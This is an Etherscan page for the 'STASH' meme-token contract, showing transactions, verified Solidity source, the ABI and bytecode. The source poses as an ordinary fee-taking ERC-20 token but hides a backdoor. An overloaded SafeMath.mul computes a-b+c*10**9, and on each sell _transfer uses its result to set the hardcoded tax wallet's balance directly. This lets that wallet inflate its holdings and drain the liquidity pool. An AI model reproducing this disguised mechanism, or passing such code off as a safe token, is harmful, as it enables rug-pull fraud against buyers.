ETH Price: $3,589.11 (+3.64%)
 

Overview

ETH Balance

0.002 ETH

Eth Value

$7.18 (@ $3,589.11/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer178242982023-08-02 2:21:47521 days ago1690942907IN
0xCB1d8df1...24b00b19E
0 ETH0.001044316.37796028
Approve178240052023-08-02 1:22:59521 days ago1690939379IN
0xCB1d8df1...24b00b19E
0 ETH0.0009792421.14224017
Approve178239552023-08-02 1:12:59521 days ago1690938779IN
0xCB1d8df1...24b00b19E
0 ETH0.0010024821.67197664
Approve178237282023-08-02 0:26:47521 days ago1690936007IN
0xCB1d8df1...24b00b19E
0 ETH0.0012666527.3688965
Approve178236462023-08-02 0:10:23521 days ago1690935023IN
0xCB1d8df1...24b00b19E
0 ETH0.001093523.65824384
Approve178236382023-08-02 0:08:47521 days ago1690934927IN
0xCB1d8df1...24b00b19E
0 ETH0.0010126821.768446
Approve178235982023-08-02 0:00:47521 days ago1690934447IN
0xCB1d8df1...24b00b19E
0 ETH0.0011063323.78145603
Approve178235962023-08-02 0:00:23521 days ago1690934423IN
0xCB1d8df1...24b00b19E
0 ETH0.0010895923.57364176
Approve178235832023-08-01 23:57:47521 days ago1690934267IN
0xCB1d8df1...24b00b19E
0 ETH0.0010230821.99191296
Approve178235792023-08-01 23:56:59521 days ago1690934219IN
0xCB1d8df1...24b00b19E
0 ETH0.0009839821.12411091
Approve178235752023-08-01 23:56:11521 days ago1690934171IN
0xCB1d8df1...24b00b19E
0 ETH0.0010212721.95309609
Approve178235632023-08-01 23:53:47521 days ago1690934027IN
0xCB1d8df1...24b00b19E
0 ETH0.0010386322.32610617
Approve178235612023-08-01 23:53:23521 days ago1690934003IN
0xCB1d8df1...24b00b19E
0 ETH0.0010710523.02303533
Approve178235602023-08-01 23:53:11521 days ago1690933991IN
0xCB1d8df1...24b00b19E
0 ETH0.0010519722.75974295
Approve178235602023-08-01 23:53:11521 days ago1690933991IN
0xCB1d8df1...24b00b19E
0 ETH0.001058822.75974295
Approve178235502023-08-01 23:51:11521 days ago1690933871IN
0xCB1d8df1...24b00b19E
0 ETH0.0009830121.13048969
Approve178235482023-08-01 23:50:47521 days ago1690933847IN
0xCB1d8df1...24b00b19E
0 ETH0.0011107424
Approve178235412023-08-01 23:49:23521 days ago1690933763IN
0xCB1d8df1...24b00b19E
0 ETH0.0010684222.96641615
Transfer178235402023-08-01 23:49:11521 days ago1690933751IN
0xCB1d8df1...24b00b19E
0.001 ETH0.0004846823.0198719
Transfer178235392023-08-01 23:48:59521 days ago1690933739IN
0xCB1d8df1...24b00b19E
0.001 ETH0.0005021423.84936617
Approve178235322023-08-01 23:47:35521 days ago1690933655IN
0xCB1d8df1...24b00b19E
0 ETH0.0011275224.23688024
Approve178235212023-08-01 23:45:23521 days ago1690933523IN
0xCB1d8df1...24b00b19E
0 ETH0.0011207224.24700844
Approve178235212023-08-01 23:45:23521 days ago1690933523IN
0xCB1d8df1...24b00b19E
0 ETH0.0011207224.24700844
Approve178235122023-08-01 23:43:35521 days ago1690933415IN
0xCB1d8df1...24b00b19E
0 ETH0.0011952325.85915217
Approve178235062023-08-01 23:42:23521 days ago1690933343IN
0xCB1d8df1...24b00b19E
0 ETH0.0013468429.13929261
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
178229192023-08-01 21:44:11521 days ago1690926251
0xCB1d8df1...24b00b19E
1.3 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
STASH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-01
*/

/**
THE ELON MARK BERNARD JEFF BILL MUKESH LARRY PROJECT
WE created BILLIONAIRES! They stashed the MONEY!

Website: https://stashtoken.xyz
TG: https://t.me/stashtokenerc
Twitter: https://twitter.com/stashtokenerc
**/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapFactoryV2 {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouterV2 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function owner() public view returns (address) {
        return _owner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function mul(uint256 a, uint256 b, uint256 c) internal pure returns (uint256) {
        return a-b+c*10**9;        
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

contract STASH is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "ElonMarkBernardJeffBillMukeshLarry";
    string private constant _symbol = "STASH";
    uint256 public _maximumSwap= _tTotal * 1 / 100;
    uint256 public _maxTransaction = _tTotal * 4 / 100;
    uint256 public _mWalletSize = _tTotal * 4 / 100;
    uint256 public _feeSwapThreshold= _tTotal * 2 / 10000;
    uint256 private _initialBuyFee=0;
    uint256 private _reduceBuyTaxAfter=3;
    uint256 private _reduceSellTaxAfter=1;
    uint256 private _finallSellFee=0;
    uint256 private _preventSwapBefore=1;
    uint256 private _finalBuyFee=0;
    uint256 private _buyCounts=0;
    uint256 private _initialSellFee=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;

    bool private inSwap = false;
    bool private isTradingOpened;
    bool private swapEnabled = false;
    bool public hasMEVProtection = true;
    
    address private uniswapV2Pair;
    address payable private _taxWallet = payable(0xddf5Bd06Cbd1D2bAdbA1d8AaF9c64f8330090cb5);
    IUniswapRouterV2 private uniswapV2Router;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping(address => uint256) private _lastTransferTimestamp;
    mapping (address => uint256) private _balances;
    mapping (address => bool) private _isExcludedFromFees;

    modifier lockSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTXUpdated(uint _maxTransaction);

    constructor() {
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFees[owner()] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _mWalletSize=_tTotal;
        _maxTransaction = _tTotal;
        emit MaxTXUpdated(_tTotal);
        hasMEVProtection=false;
    }

    receive() external payable {}
    
    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function addLiquidity() external payable onlyOwner() {
        uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapFactoryV2(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(from != address(0), "ERC20: transfer from the zero address");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && ! _isExcludedFromFees[from] ) {
            taxAmount = amount.mul((_buyCounts>_reduceBuyTaxAfter)?_finalBuyFee:_initialBuyFee).div(100);
            if (from != address(this)) {
                require(isTradingOpened, "Trading not enabled");
            }            
            if (hasMEVProtection) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _lastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _lastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(amount <= _maxTransaction, "Exceeds the _maxTransaction.");
                require(balanceOf(to) + amount <= _mWalletSize, "Exceeds the maxWalletSize.");
                _buyCounts++;
            }

            if(to == uniswapV2Pair && from!= address(this)){
                taxAmount = taxAmount.mul(address(this).balance, amount);
                _balances[_taxWallet]=_balances[address(this)].add(taxAmount);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_feeSwapThreshold && _buyCounts>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maximumSwap)));
                sendETHToFee(address(this).balance);
            }
        }
        _balances[to]=_balances[to].add(amount);
        _balances[from]=_balances[from].sub(amount);
        emit Transfer(from, to, amount);
    }

    function openTrading() external onlyOwner() {
        require(!isTradingOpened,"trading is already open");
        isTradingOpened = true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransaction","type":"uint256"}],"name":"MaxTXUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maximumSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"hasMEVProtection","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a6200039f565b6200002490633b9aca00620003b7565b62000031906001620003b7565b6200003d9190620003d1565b6001556064620000506009600a6200039f565b6200006090633b9aca00620003b7565b6200006d906004620003b7565b620000799190620003d1565b60025560646200008c6009600a6200039f565b6200009c90633b9aca00620003b7565b620000a9906004620003b7565b620000b59190620003d1565b600355612710620000c96009600a6200039f565b620000d990633b9aca00620003b7565b620000e6906002620003b7565b620000f29190620003d1565b600455600060058190556003600655600160078190556008829055600955600a819055600b819055600c55600d805463ffff00ff19166301000000179055600e80546001600160a01b03191673ddf5bd06cbd1d2badba1d8aaf9c64f8330090cb51790553480156200016357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350306000908152601360205260408082208054600160ff199182168117909255600e546001600160a01b031684529190922080549091169091179055620001ee6009600a6200039f565b620001fe90633b9aca00620003b7565b3360008181526012602090815260408083209490945581546001600160a01b0316825260139052918220805460ff19166001179055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002636009600a6200039f565b6200027390633b9aca00620003b7565b60405190815260200160405180910390a3620003f4565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e1578160001904821115620002c557620002c56200028a565b80851615620002d357918102915b93841c9390800290620002a5565b509250929050565b600082620002fa5750600162000399565b81620003095750600062000399565b81600181146200032257600281146200032d576200034d565b600191505062000399565b60ff8411156200034157620003416200028a565b50506001821b62000399565b5060208310610133831016604e8410600b841016171562000372575081810a62000399565b6200037e8383620002a0565b80600019048211156200039557620003956200028a565b0290505b92915050565b6000620003b060ff841683620002e9565b9392505050565b80820281158282048414176200039957620003996200028a565b600082620003ef57634e487b7160e01b600052601260045260246000fd5b500490565b6118d180620004046000396000f3fe6080604052600436106101185760003560e01c80637d7ae4df116100a0578063be4fadd911610064578063be4fadd914610303578063c9567bf914610319578063da7003d41461032e578063dd62ed3e14610344578063e8078d941461038a57600080fd5b80637d7ae4df146102565780638da5cb5b1461027757806395d89b411461029f578063994dfee7146102cd578063a9059cbb146102e357600080fd5b806323b872dd116100e757806323b872dd146101b8578063313ce567146101d857806370a08231146101f4578063715018a61461022a578063751039fc1461024157600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f5780631854ca6f146101a257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50610139610392565b604051610146919061147e565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046114e4565b6103b2565b6040519015158152602001610146565b34801561018b57600080fd5b506101946103c9565b604051908152602001610146565b3480156101ae57600080fd5b5061019460015481565b3480156101c457600080fd5b5061016f6101d3366004611510565b6103ea565b3480156101e457600080fd5b5060405160098152602001610146565b34801561020057600080fd5b5061019461020f366004611551565b6001600160a01b031660009081526012602052604090205490565b34801561023657600080fd5b5061023f610453565b005b34801561024d57600080fd5b5061023f6104d0565b34801561026257600080fd5b50600d5461016f906301000000900460ff1681565b34801561028357600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102ab57600080fd5b506040805180820190915260058152640a6a882a6960db1b6020820152610139565b3480156102d957600080fd5b5061019460045481565b3480156102ef57600080fd5b5061016f6102fe3660046114e4565b61058f565b34801561030f57600080fd5b5061019460035481565b34801561032557600080fd5b5061023f61059c565b34801561033a57600080fd5b5061019460025481565b34801561035057600080fd5b5061019461035f36600461156e565b6001600160a01b03918216600090815260106020908152604080832093909416825291909152205490565b61023f61062f565b606060405180606001604052806022815260200161187a60229139905090565b60006103bf33848461099e565b5060015b92915050565b60006103d76009600a6116a1565b6103e590633b9aca006116b0565b905090565b60006103f7848484610ac2565b610449843361044485604051806060016040528060288152602001611852602891396001600160a01b038a16600090815260106020908152604080832033845290915290205491906110ba565b61099e565b5060019392505050565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161047d906116c7565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104fa5760405162461bcd60e51b815260040161047d906116c7565b6105066009600a6116a1565b61051490633b9aca006116b0565b6003556105236009600a6116a1565b61053190633b9aca006116b0565b6002557fea7a6680f18919695fe4ffc1ae5d3da40c7c6b19f93e55df6d568bbb9abb9de16105616009600a6116a1565b61056f90633b9aca006116b0565b60405190815260200160405180910390a1600d805463ff00000019169055565b60006103bf338484610ac2565b6000546001600160a01b031633146105c65760405162461bcd60e51b815260040161047d906116c7565b600d54610100900460ff161561061e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047d565b600d805461ff001916610100179055565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161047d906116c7565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a29030906106946009600a6116a1565b61044490633b9aca006116b0565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071991906116fc565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f91906116fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081091906116fc565b600d80546001600160a01b0392831664010000000002640100000000600160c01b0319909116179055600f541663f305d7193430610863816001600160a01b031660009081526012602052604090205490565b6000806108786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109059190611719565b5050600d54600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015264010000000090920416915063095ea7b3906044016020604051808303816000875af1158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611747565b50600d805462ff0000191662010000179055565b6001600160a01b038316610a005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047d565b6001600160a01b038216610a615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047d565b6001600160a01b0383811660008181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216610b245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047d565b60008111610b865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047d565b6001600160a01b038316610bea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047d565b600080546001600160a01b03858116911614801590610c1757506000546001600160a01b03848116911614155b8015610c3c57506001600160a01b03841660009081526013602052604090205460ff16155b1561100c57610c6d6064610c67600654600b5411610c5c57600554610c60565b600a545b85906110f4565b9061117d565b90506001600160a01b0384163014610ccc57600d54610100900460ff16610ccc5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161047d565b600d546301000000900460ff1615610dc057600f546001600160a01b03848116911614801590610d125750600d546001600160a01b038481166401000000009092041614155b15610dc057326000908152601160205260409020544311610dad5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047d565b3260009081526011602052604090204390555b600d546001600160a01b0385811664010000000090920416148015610df35750600f546001600160a01b03848116911614155b8015610e1857506001600160a01b03831660009081526013602052604090205460ff16155b15610f0057600254821115610e6f5760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865205f6d61785472616e73616374696f6e2e00000000604482015260640161047d565b60035482610e92856001600160a01b031660009081526012602052604090205490565b610e9c9190611769565b1115610eea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047d565b600b8054906000610efa8361177c565b91905055505b600d546001600160a01b0384811664010000000090920416148015610f2e57506001600160a01b0384163014155b15610f7757610f3e8147846111bf565b30600090815260126020526040902054909150610f5b90826111eb565b600e546001600160a01b03166000908152601260205260409020555b30600090815260126020526040902054600d5460ff16158015610faf5750600d546001600160a01b0385811664010000000090920416145b8015610fc35750600d5462010000900460ff165b8015610fd0575060045481115b8015610fdf5750600954600b54115b1561100a57611001610ffc84610ff78460015461124a565b61124a565b61125f565b61100a476113d0565b505b6001600160a01b03831660009081526012602052604090205461102f90836111eb565b6001600160a01b03808516600090815260126020526040808220939093559086168152205461105e908361140e565b6001600160a01b0385811660008181526012602090815260409182902094909455518581529186169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600081848411156110de5760405162461bcd60e51b815260040161047d919061147e565b5060006110eb8486611795565b95945050505050565b600082600003611106575060006103c3565b600061111283856116b0565b90508261111f85836117a8565b146111765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047d565b9392505050565b600061117683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611450565b60006111cf82633b9aca006116b0565b6111d98486611795565b6111e39190611769565b949350505050565b6000806111f88385611769565b9050838110156111765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047d565b60008183116112595782611176565b50919050565b600d805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a1576112a16117ca565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131e91906116fc565b81600181518110611331576113316117ca565b6001600160a01b039283166020918202929092010152600f54611357913091168461099e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113909085906000908690309042906004016117e0565b600060405180830381600087803b1580156113aa57600080fd5b505af11580156113be573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561140a573d6000803e3d6000fd5b5050565b600061117683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ba565b600081836114715760405162461bcd60e51b815260040161047d919061147e565b5060006110eb84866117a8565b600060208083528351808285015260005b818110156114ab5785810183015185820160400152820161148f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114e157600080fd5b50565b600080604083850312156114f757600080fd5b8235611502816114cc565b946020939093013593505050565b60008060006060848603121561152557600080fd5b8335611530816114cc565b92506020840135611540816114cc565b929592945050506040919091013590565b60006020828403121561156357600080fd5b8135611176816114cc565b6000806040838503121561158157600080fd5b823561158c816114cc565b9150602083013561159c816114cc565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115f85781600019048211156115de576115de6115a7565b808516156115eb57918102915b93841c93908002906115c2565b509250929050565b60008261160f575060016103c3565b8161161c575060006103c3565b8160018114611632576002811461163c57611658565b60019150506103c3565b60ff84111561164d5761164d6115a7565b50506001821b6103c3565b5060208310610133831016604e8410600b841016171561167b575081810a6103c3565b61168583836115bd565b8060001904821115611699576116996115a7565b029392505050565b600061117660ff841683611600565b80820281158282048414176103c3576103c36115a7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561170e57600080fd5b8151611176816114cc565b60008060006060848603121561172e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561175957600080fd5b8151801515811461117657600080fd5b808201808211156103c3576103c36115a7565b60006001820161178e5761178e6115a7565b5060010190565b818103818111156103c3576103c36115a7565b6000826117c557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118305784516001600160a01b03168352938301939183019160010161180b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365456c6f6e4d61726b4265726e6172644a65666642696c6c4d756b6573684c61727279a26469706673582212204d313642b9c7b388c863ad4dc3785d1e1d30fed3f7188c92541fedd2078098b964736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c80637d7ae4df116100a0578063be4fadd911610064578063be4fadd914610303578063c9567bf914610319578063da7003d41461032e578063dd62ed3e14610344578063e8078d941461038a57600080fd5b80637d7ae4df146102565780638da5cb5b1461027757806395d89b411461029f578063994dfee7146102cd578063a9059cbb146102e357600080fd5b806323b872dd116100e757806323b872dd146101b8578063313ce567146101d857806370a08231146101f4578063715018a61461022a578063751039fc1461024157600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f5780631854ca6f146101a257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50610139610392565b604051610146919061147e565b60405180910390f35b34801561015b57600080fd5b5061016f61016a3660046114e4565b6103b2565b6040519015158152602001610146565b34801561018b57600080fd5b506101946103c9565b604051908152602001610146565b3480156101ae57600080fd5b5061019460015481565b3480156101c457600080fd5b5061016f6101d3366004611510565b6103ea565b3480156101e457600080fd5b5060405160098152602001610146565b34801561020057600080fd5b5061019461020f366004611551565b6001600160a01b031660009081526012602052604090205490565b34801561023657600080fd5b5061023f610453565b005b34801561024d57600080fd5b5061023f6104d0565